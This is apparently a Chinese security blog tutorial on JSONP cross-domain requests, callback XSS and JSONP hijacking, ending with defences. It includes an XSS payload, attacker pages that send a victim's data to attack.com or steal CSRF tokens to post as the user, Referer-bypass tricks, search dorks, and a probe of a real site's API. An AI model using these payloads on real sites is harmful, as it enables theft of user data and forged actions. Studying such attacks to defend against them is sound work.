JSONP是个老话题了,因为不太熟悉这里就总结下吧。
0x01 JSONP 为何使用JSONP JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景。
简单说个情形就能理解了,不贴图了。
假设a.com下存在data.json文件:
1 { username: "mi1k7ea", password: "secret" }
而下面的html文件用于发起Ajax请求获取data.json的内容并记录日志:
1 2 3 4 5 6 7 8 9 10 <script src ='./jquery.js' > </script > <script > $.ajax({ url: 'http://a.com/data.json' , type:"get" , dataType: "json" , success: function (data) { console .log(data);} }) </script >
如果该HTML文件同处于a.com即和data.json同域时,访问该HTML文件能够正常获取json文件的内容。
但是如果该HTML文件放置在b.com下即与data.json文件不同域,访问该HTML文件时浏览器会报错,这是因为Ajax不能发起跨域请求。
但是开发为了方便程序间数据的调用,就搞了几种跨域的方法,其中包括了JSONP。
简单地说,就是利用script标签的src属性能够发起跨域请求的原理来实现的。
将该HTML文件改为:
1 2 3 4 5 6 7 8 <body > <script src ='./jquery.js' > </script > <script > var s = document .createElement('script' ); s.src = 'http://a.com/data.json' ; document .body.appendChild(s); </script > </body >
此时再访问就发现可以跨域发起请求了,但是会看到浏览器报错,这时因为data.json中的内容并不符合JavaScript代码规范。
重新定义data.json文件让其符合JSONP规范:
1 callback({ username: "mi1k7ea", password: "secret" })
然后在HTML文件中添加callback函数的定义即可:
1 2 3 4 5 6 7 8 9 10 11 <body > <script src ='./jquery.js' > </script > <script type ="text/javascript" > function callback (json) { console .log(json); } var s = document .createElement('script' ); s.src = 'http://a.com/data.json' ; document .body.appendChild(s); </script > </body >
此时,基本的JSONP功能就实现了,我们Web站点的HTML文件能够正常地跨域获取目标外域JSON数据了。
至此,我们就清楚了:JSONP就是跨域技术的一种,用来方便Web站点突破SOP的限制从外域端点获取数据。
基本原理 过遍JSON和JSONP的基本概念吧。
JSON(JavaScript Object Notation),即JavaScript对象表示法。
JSONP(JSON with Padding)即填充式的JSON,通过填充额外的内容把JSON数据包装起来,变成一段有效的可以独立运行的JavaScript语句。它是基于JSON 格式的为解决跨域请求资源而产生的解决方案,基本原理是利用HTML里script元素标签,远程调用JSON文件来实现数据传递。
JSONP的基本语法为:callback({“name”:”alan”, “msg”:”success”})
常见的例子包括函数调用(如callback({“a”:”b”}))或变量赋值(var a={JSON data})。
更多原理详解,推荐看看这篇文章:jsonp原理详解——终于搞清楚jsonp是啥了
实现流程 Demo 这里主要借鉴菜鸟教程的示例。
原生形式 jsonp.php,作为JSONP端点,动态生成JSONP格式数据,文件放置在第三方服务器中:
1 2 3 4 5 6 7 8 9 <?php header('Content-type: application/json' ); $jsoncallback = htmlspecialchars($_REQUEST ['callback' ]); $json_data = '["mi1k7ea","https://www.mi1k7ea.com"]' ; echo $jsoncallback . "(" . $json_data . ")" ;?>
jsonp.html,先在script标签中定义,再通过另一个script标签的src属性来实现跨域访问目标JSONP端点获取根据传参动态生成的JSONP数据,文件放置于本地服务器中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <!DOCTYPE html> <html > <head > <meta charset ="utf-8" > <title > JSONP Test</title > </head > <body > <div id ="here" > </div > <script type ="text/javascript" > function callbackFunction (result, methodName) { var html = '<ul>' ; for (var i = 0 ; i < result.length; i++) { html += '<li>' + result[i] + '</li>' ; } html += '</ul>' ; document .getElementById('here' ).innerHTML = html; } </script > <script type ="text/javascript" src ="http://192.168.17.166:81/jsonp.php?callback=callbackFunction" > </script > </body > </html >
直接在访问本地服务器的jsonp.html,看到其跨域访问JSONP端点获取并解析JSONP数据,显示到页面中:
Jquery的三种形式 $.getJSON 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <!DOCTYPE html> <html > <head > <meta charset ="utf-8" > <title > JSONP Test</title > <script src ="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js" > </script > </head > <body > <div id ="here" > </div > <script > $.getJSON("http://192.168.17.166:81/jsonp.php?callback=?" , function (data ) { var html = '<ul>' ; for (var i = 0 ; i < data.length; i++) { html += '<li>' + data[i] + '</li>' ; } html += '</ul>' ; $('#here' ).html(html); }); </script > </body > </html >
$.ajax 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <!DOCTYPE html> <html > <head > <meta charset ="utf-8" > <title > JSONP Test</title > <script src ="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js" > </script > </head > <body > <div id ="here" > </div > <script > $(function ( ) { $.ajax({ type: "get" , async : false , url: "http://192.168.17.166:81/jsonp.php" , dataType: "jsonp" , jsonp: "callback" , success: function (data) { var html = '<ul>' ; for (var i = 0 ; i < data.length; i++) { html += '<li>' + data[i] + '</li>' ; } html += '</ul>' ; $('#here' ).html(html); }, error: function () { alert('error' ); } }); }); </script > </body > </html >
$.get 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <!DOCTYPE html> <html > <head > <meta charset ="utf-8" > <title > JSONP Test</title > <script src ="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js" > </script > </head > <body > <div id ="here" > </div > <script > $.get('http://192.168.17.166:81/jsonp.php?callback=?' , function (data ) { var html = '<ul>' ;for (var i = 0 ; i < data.length; i++){html += '<li>' + data[i] + '</li>' ;}html += '</ul>' ;$('#here' ).html(html); }, 'jsonp' ); </script > </body > </html >
0x02 JSONP跨域漏洞 JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。
callback自定义导致的XSS 我们知道,在JSONP跨域中,我们是可以传入一个函数名的参数如callback,然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来。
如果JSONP端点对于用于传入的函数名参数callback处理不当,如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生。
未设置Content-Type且未过滤 我们先看下默认情况下未设置Content-Type且未对callback参数进行过滤的场景,这种情形是最基础也是最常见的,网上大多数的JSONP引起的XSS都是这种场景的。
JSONP端点的代码如下,data.php:
1 2 3 4 5 6 7 8 <?php if (isset ($_GET['callback' ])){ $callback = $_GET['callback' ]; print $callback.'({"username" : "mi1k7ea", "password" : "thisispassword"});' ; } else { echo 'No callback param.' ; } ?>
正常访问会在页面返回JSONP数据:
当输入XSS payloadcallback=hello<script>alert(0)</script>
时,会弹框,且可以看到响应报文在未设置Content-Type情况下其值为text/html:
几种Content-Type设置探讨 接着我们探讨下几种不同的Content-Type是否会造成XSS。
application/json 查阅资料发现:JSON文本的MIME媒体类型是application/json,默认编码为UTF-8。同时这也是建议的JSONP端点设置的Content-Type值,用于防御XSS。
我们直接在前面data.php中添加设置Header字段的代码即可:
1 2 3 4 5 6 7 8 9 <?php header('Content-type: application/json' ); if (isset ($_GET['callback' ])){ $callback = $_GET['callback' ]; print $callback.'({"username" : "mi1k7ea", "password" : "thisispassword"});' ; } else { echo 'No callback param.' ; } ?>
此时无论正常访问还是注入XSS payload,页面都不会显示内容出来:
但我们在浏览器查看原始数据的时候是有JSONP数据返回的,但就是不会在页面中解析该内容:
这种情形,在哪个浏览器尝试都不会弹框,因为此时浏览器不再将响应返回内容当成HTML文档来解析了,而是将其视为JSON数据,但由于该数据是JSONP格式的而不是JSON格式的,当浏览器尝试解析JSON数据时会报错。然而这一切如果只是在几个文件或接口之间JSONP数据的调用,则是不会有问题的,因为它不需要浏览器显示出来而只是取其中的数据而已。
text/json text/json是application/json正式注册之前,JSON的实验版MIME类型。
将data.php中对应的字段值改为text/json,再访问,可以看到页面原封不动地返回数据,但浏览器不会解析其中的内容,不会弹框:
这种情形处理会将响应内容显示在页面上,但浏览器同样不会将该内容当成HTML文档来解析,同时也没有去按JSON格式解析内容,因此没有报错。
application/javascript与text/javascript 其实,JSONP格式的数据就是JS数据,其返回的内容就是传入参数的JS函数的调用。
application/javascript是JavaScript的正式注册的MIME媒体类型。
因此,可能会有些程序员在设置Content-Type时,会将其设置为application/javascript,将响应的JSONP内容正确地设置为JS类型。
我们修改data.php中对应的Content-Type值为application/javascript再看看,在Chrome和Firefox下确实没有弹框:
但是换到非最新版的IE就会弹了,我本地IE更新到最新的只是提示是否下载该文件而已。
另外,text/javascript的效果是一样的,其是application/javascript的测试版。
X-Content-Type-Options 如果在响应报文中X-Content-Type-Options字段被设置为nosniff,Content-Type必须设置为JavaScript(application/javascript或text/javascript)才能在浏览器中运行。
这是因为在响应中包含回调产生的问题,这时响应不再解析JSON而是解析JS。
JSONP劫持 JSONP劫持其实和CSRF的攻击是类似的,只不过CSRF是提交表单请求,而JSONP劫持是将请求JSONP端点获取到的JSONP数据发往攻击者服务器中、实现获取JSONP敏感信息。
因此,JSONP劫持的前提和CSRF是一样的,当服务端没有校验请求来源,如未严格校验Referer或未存在token机制等,都会导致JSONP劫持的产生。
我们经常会听到JSON劫持和JSONP劫持,两者有啥区别,下面简单说下。
JSON劫持与JSONP劫持 简单地说,JSONP劫持属于JSON劫持的一种。
JSON劫持 JSON劫持即JSON Hijacking,攻击过程类似CSRF,区别在于CSRF只管发送表单请求,但是JSON劫持则是获取JSON格式的敏感数据。
通常,有些Web应用会把一些敏感数据以JSON形式返回到前端,如果仅仅通过cookie来判断请求是否合法,那么就可以利用类似CSRF的手段,向目标服务器发送请求,以获得敏感数据。
当JSON数据响应给网站时,浏览器立即会调用数组或者对象的构造函数。正是利用这一点,把构造方法替换成恶意代码,在构造方法中添加将JSON数据发送给第三方即攻击者的代码。
下面结合简单的示例讲下JSON劫持的原理,参考自Spoock 。
比如目标站点存在可直接访问JSON数据,其可通过GET请求如www.good.com/user/mail.json
来进行访问,同时这个请求没有对用户的身份进行严格的认证,那么当用户访问一个恶意站点的时候,恶意站点同样包含获取www.good.com/user/mail.json
的GET请求,再通过JSON劫持的方式就可以获取到用户的敏感JSON数据,然后发送到恶意的站点。
整个过程的流程图如下所示:
关键的步骤是第4步和第7步。当用户访问恶意站点之后,从正常站点将JSON数据下载下来之后,如何发送到恶意站点上去。
这里,我们的恶意页面仅仅是通过script标签的src属性进行导入:
1 <script src ="www.good.com/data.json" > </script >
新建data.json文件如下:
1 2 3 4 5 6 { "fname" :"Mi1k" , "lname" :"7ea" , "phone" :"666666" , "email" :"mi1k7ea@163.com" }
当用户在已登录目标站点并保持着Cookie有效的情况下,被诱使访问了我们的恶意页面,就会导致请求目标敏感JSON文件。
JSON数据从服务器端到达浏览器之后,会被浏览器解析为JavaScript中的Object的实例。在这种情况下,只要重写Object类的set方法,就可以获取到想要的数据,这就是JSON劫持的实现,以下就是攻击代码:
1 2 3 4 5 6 7 8 9 <script type ="text/javascript" > Object .defineProperty(Object .prototype,"email" ,{ set :function (obj) { senddata2badsute(obj) } }); </script > <script type ="text/javascript" src ="www.good.com/data.json" />
我们为Object类的email属性设置一个Hook函数。在JavaScript中所有的类都是继承至Object类,所以defineProperty()这个方法为所有的对象的email属性都增加了一个Hook函数。当有对象设置email属性的时候,就会运行上面这段代码。所以当浏览器获取到了json数据,要将json数据转化为JavaScript对象的时候,由于json数据中存在email属性的设置,此时就会触发Hook函数,而这个函数就会将数据传送到攻击者。这个过程就完成了json数据的劫持了。
PS:目前网络上关于这方面的资料大部分都是2012年之前的,此时我尝试进行重新的时候,发现已经无法实现了。说明浏览器目前已经修复了这个漏洞 。关于hook对象的属性设置目前的实现方法与之前的方法也相同了。
我们本地试下就知道了,当我们通过.属性的方式赋值时是会弹框的:
1 2 3 4 5 6 7 8 9 10 11 <script type ="text/javascript" > Object .defineProperty(Object .prototype,"Id" ,{ set :function (obj) { alert(obj); } }); </script > <script > var a = new Object ();a.Id = 666; </script >
但是如果我们是直接声明并且赋值给一个对象,这个时候就不会触发这个事件:
1 2 3 4 5 6 7 8 9 10 <script type ="text/javascript" > Object .defineProperty(Object .prototype,"Id" ,{ set :function (obj) { alert(obj); } }); </script > <script > var b={"Id" :123 };</script >
而由目标JSON端点返回的数据都是{‘a’:’b’}的形式,即我们恶意页面接收到JSON数据时在script标签是通过直接声明并且赋值的形式来赋值给对象的,从而也不会导致弹框。换句话说,就是现在的浏览器已经对这种JSON劫持漏洞进行了防御,我们没有办法通过Hook JS函数来实现JSON劫持了。
小结一下
当用户在已登录目标站点并保持着Cookie有效的情况下,被诱使访问了我们的恶意页面,而恶意页面是向目标JSON文件发起请求并获取响应;
因为script标签会自动解析请求回来的JSON数据并生成对应的JS对象,此时我们只需要再通过Object.prototype.__defineSetter__
这个函数来进行Hook,就能实现将获取到的JSON数据往外发送给攻击者,从而成功导致JSON劫持;
但是该函数在当前的新版本chrome和firefox中都已经失效了,浏览器早已对此JSON劫持漏洞进行了修补。
JSONP劫持 前面JSON劫持的通用方法其实已经早已被浏览器防御住了,但由于JSONP的出现,导致JSON劫持多了一种JSONP的形式,这是因为JSONP数据其实就是往JS函数中传参进行调用,这就导致了攻击者在恶意页面编写恶意的JS函数,通过JSONP的调用来执行该恶意JS函数、将敏感JSONP数据发往攻击者服务器中。
具体的看下面的Demo即可。
Demo1——窃取用户信息 这里我们模拟一个登录站点,登录后可与JSONP端点交互获取用户信息;而攻击者则是在自己服务器放置恶意HTML文件来尝试劫持用户JSONP数据。
main.php,放置于目标站点,用于用户登录以及与JSONP端点交互获取用户信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php error_reporting(0); session_start(); $name = $_GET['name']; $pwd = $_GET['pwd']; if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){ $_SESSION['name'] = $name; } if (isset($_GET['logout'])) { if ($_GET['logout'] === '1') { unset($_SESSION['name']); } } echo '<a href="http://victim.com/info.php?callback=jsonp">用户信息</a><br>'; echo '<a href="http://victim.com/main.php?logout=1">退出登录</a><br data-tomark-pass>'; if(!$_SESSION['name']){ echo '<html> <head> <title>登录</title> <meta charset="utf-8"> </head> <body> <form action="main.php" method="get"> 用户名:<input type="text" name="name"> 密码:<input type="password" name="pwd"> <input type="submit" name="submit" value="login"> </form> </body> </html>'; }else{ echo "欢迎您, ".$_SESSION['name']."<br data-tomark-pass>"; } ?>
info.php,放置于目标服务器中,JSONP端点,用于提供指定用户的信息,注意这里设置了Content-Type为application/json,防御了JSONP XSS漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php header('Content-type: application/json' ); error_reporting(0 ); session_start(); $callback = $_GET['callback' ]; if ($_SESSION['name' ] === 'admin' ){ echo $callback."({'id':1,'name':'mi1k7ea_admin'})" ; } elseif ($_SESSION['name' ] === 'guest' ) { echo $callback."({'id':2,'name':'mi1k7ea_guest'})" ; } else { echo $callback."获取个人信息失败" ; } ?>
hijacking.html,放置在攻击者服务器中,用于诱使受害者访问,以窃取目标站点JSONP端点的敏感信息并发往攻击者服务器中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <html > <head > <title > lol</title > <meta charset ="utf-8" > </head > <script type ="text/javascript" src ="./jquery.js" > </script > <script > function jsonp_hack (v) { alert("JSONP hijacking" ); var h = '' ; for (var key in v){ var a = '' ; a = key + ' : ' + v[key] + ' ,' ; h += a; } alert(h); $.get('http://attack.com/index.html?value=' +h); } </script > <script src ="http://victim.com/info.php?callback=jsonp_hack" > </script > <body > <h1 > Welcome</h1 > </body > </html >
用户访问目标站点main.php,是个登录界面:
直接点击用户信息返回失败,因为没有登录,另外由于这里响应包Content-Type为application/json,因此在浏览器页面是看不到返回的JSONP数据的,只能在开发者工具中查看原始数据看到:
接着用户登录admin账号,此时再点击用户信息能够正常查看:
此后,攻击者向用户发送恶意链接诱使用户点击访问,当用户被诱导访问该恶意链接之后,恶意页面就会窃取JSONP端点数据并通过XHR的方式发往攻击者的服务器:
可以看到,弹完框后,会向攻击者目标站点通过GET方式发送JSONP端点敏感信息。
我们在ceye中验证,确实收到了劫持的JSONP数据:
Demo2——劫持token 下面的示例模拟通过JSONP劫持窃取token来发表文章的情形。
add_article.php,放置于目标服务器中,功能是发表文章,前提是token值成功校验通过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php if (!empty ($_POST['token' ])){ $csrf_token = $_POST['token' ]; $title = $_POST['title' ]; $content = $_POST['content' ]; if ($csrf_token === 'NKJJDkajwdadwdad_csrf_token_test' ) { echo '文章发表成功~' .'</br>' ; echo $title.'</br>' ; echo $content; } else { echo 'csrf token error' ; } } else { echo 'no token' ; } ?>
token.php,放置于JSONP端点,用于动态生成JSONP数据,其中包含token内容:
1 2 3 4 5 6 7 8 9 <?php header('Content-type: application/json' ); if (isset ($_GET['callback' ])){ $callback = $_GET['callback' ]; print $callback.'({"username" : "mi1k7ea", "password" : "thisispassword", "token" : "NKJJDkajwdadwdad_csrf_token_test"});' ; } else { echo 'No callback param.' ; } ?>
jsonp.html,攻击者用于诱使用户访问的文件,放置于攻击者服务器中,用于访问目标JSONP端点获取token之后,再带上该token向目标服务器的add_article.php发起请求来发表文章:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <html > <head > <title > JSONP Hijacking</title > <meta charset ="utf-8" > </head > <body > <form action ="http://192.168.17.166:81/add_article.php" method ="POST" id ="csrfsend" > <input type ="hidden" name ="content" value ="Hacked by mi1k7ea!" > <input type ="hidden" name ="title" value ="Oops!" > <input type ="hidden" id ="token" name ="token" value ="" > </form > <script type ="text/javascript" > function exp (obj) { console .log(obj); var token = obj["token" ]; document .getElementById("token" ).value = token; document .getElementById("csrfsend" ).submit(); } </script > <script type ="text/javascript" src ="http://192.168.17.166:81/token.php?callback=exp" > </script > </body > </html >
当用户被诱使访问该恶意页面时,会成功创建文章:
Referer绕过 有些时候,目标服务端会校验Referer字段,此时可以根据一些特定设置进行特定的绕过。
空Referer 有时候程序对Referer进行了校验,但并未对空Referer进行校验,此时我们就可以使用置空的Referer请求来绕过。
实现发送空Referer的请求的方法有三种:
使用iframe标签+javascript伪协议
从HTTPS向HTTP发起请求
使用meta标签
使用iframe标签+javascript伪协议
原理就是在恶意HTML中,给iframe标签的src属性赋值为javascript://伪协议内容,其中具体内容为和之前一样的定义两个script标签、一个定义callback函数具体操作、另一个则是通过script标签的src属性向目标JSONP端点发起跨域请求。
jsonp.html,恶意页面,iframe标签通过javascript伪协议定义script标签的src属性来跨域访问目标JSONP端点,并弹框显示password内容:
1 2 3 4 5 6 7 8 9 <html > <head > <title > JSONP Hijacking</title > <meta charset ="utf-8" > </head > <body > <iframe src ="javascript:'<script>function exp(o){alert(o.password);}</script><script src=http://192.168.17.166:81/data.php?callback=exp></script>'" > </iframe > </body > </html >
data.php,目标JSONP端点,保存着用户数据:
1 2 3 4 5 6 7 8 9 <?php header('Content-type: application/json' ); if (isset ($_GET['callback' ])){ $callback = $_GET['callback' ]; print $callback.'({"username" : "mi1k7ea", "password" : "thisispassword"});' ; } else { echo 'No callback param.' ; } ?>
用户访问恶意页面后,正常弹框显示目标JSONP端点的password数据,可以看到请求头并不存在Referer:
使用meta标签
实现方法就是在我们实现的JSONP劫持的HTML文档中加上meta标签来实现:
1 <meta name ="referrer" content ="never" >
这里我们以Demo1来试下效果,在hijacking.html中插入meta标签:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <html > <head > <title > lol</title > <meta charset ="utf-8" > <meta name ="referrer" content ="never" > </head > <script type ="text/javascript" src ="./jquery.js" > </script > <script > function jsonp_hack (v) { alert("JSONP hijacking" ); var h = '' ; for (var key in v){ var a = '' ; a = key + ' : ' + v[key] + ' ,' ; h += a; } alert(h); $.get('http://attack.com/index.html?value=' +h); } </script > <script src ="http://victim.com/info.php?callback=jsonp_hack" > </script > <body > <h1 > Welcome</h1 > </body > </html >
看下效果吧,添加之前是有Referer的:
添加之后就没有了:
Referer过滤不严格 当然,Referer过滤不严格的情况各种各样,具体的需要自行进行针对性的分析和绕过。
如果是判断Referer是否存在白名单域名,如只是判断Referer字段值中是否存在mi1k7ea.com字样。那么此时攻击者可以通过子域名的方式如http://www.mi1k7ea.com.attack.com/attack.html
或者在域名前面增加随机的a-z和0-9或者构造http://www.attack.com/attack.html?mi1k7ea.com
这样的页面来发起攻击实现绕过Referer防御。
0x03 搜索方法 当然还是Google Hack大法,如:
1 2 3 inurl:json inurl:callback= site:a.com inurl:json
常见关键字有:
1 2 3 4 5 6 7 8 9 10 11 callback jsoncallback jsonpcallback jsoncall jsonpcall cb jsoncb jsonpcb =json =jsonp =jQuery
此外,还可以在对目标站点浏览时,打开F12开发者工具,点击network窗口并勾选preserve log,查看请求记录并进行关键词筛选。
筛选过后需要确实是否是真的JSONP方法,我们将目标URL填入下面的script标签的src中,将callback参数值改为我们自己定义的JS函数callback即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <html > <head > <title > JSONP Hijacking</title > <meta charset ="utf-8" > </head > <body > <script type ="text/javascript" src ="./jquery-3.3.1.js" > </script > <script type ="text/javascript" > function callback (v) { console .log(v); } var s = document .createElement('script' ); s.src = 'http://sapi.beibei.com/resource/utm_source.html?callback=callback' ; document .body.appendChild(s); </script > </body > </html >
修改之后访问该HTML文件,若在浏览器的控制台看到输出了JSONP数据内容,则确定是真的JSONP端点。这里访问的是贝贝网的API:
至于信息是否有用,得看看价值了。
0x04 防御
若可行,则使用CORS替换JSONP实现跨域功能;
应用CSRF防御措施来调用JSON文件:限制Referer 、部署Token等;
严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 );
严格过滤 callback 函数名及JSON里数据的输出;
严格限制对JSONP输出callback函数名的长度(如防御Flash输出的方法);
0x05 参考 JSONP 安全攻防技术
JSONP注入解析
对jsonp劫持的一次简单了解
JSONP 教程
Json劫持与jsonp劫持的区别
Json劫持漏洞简介
jsonp劫持漏洞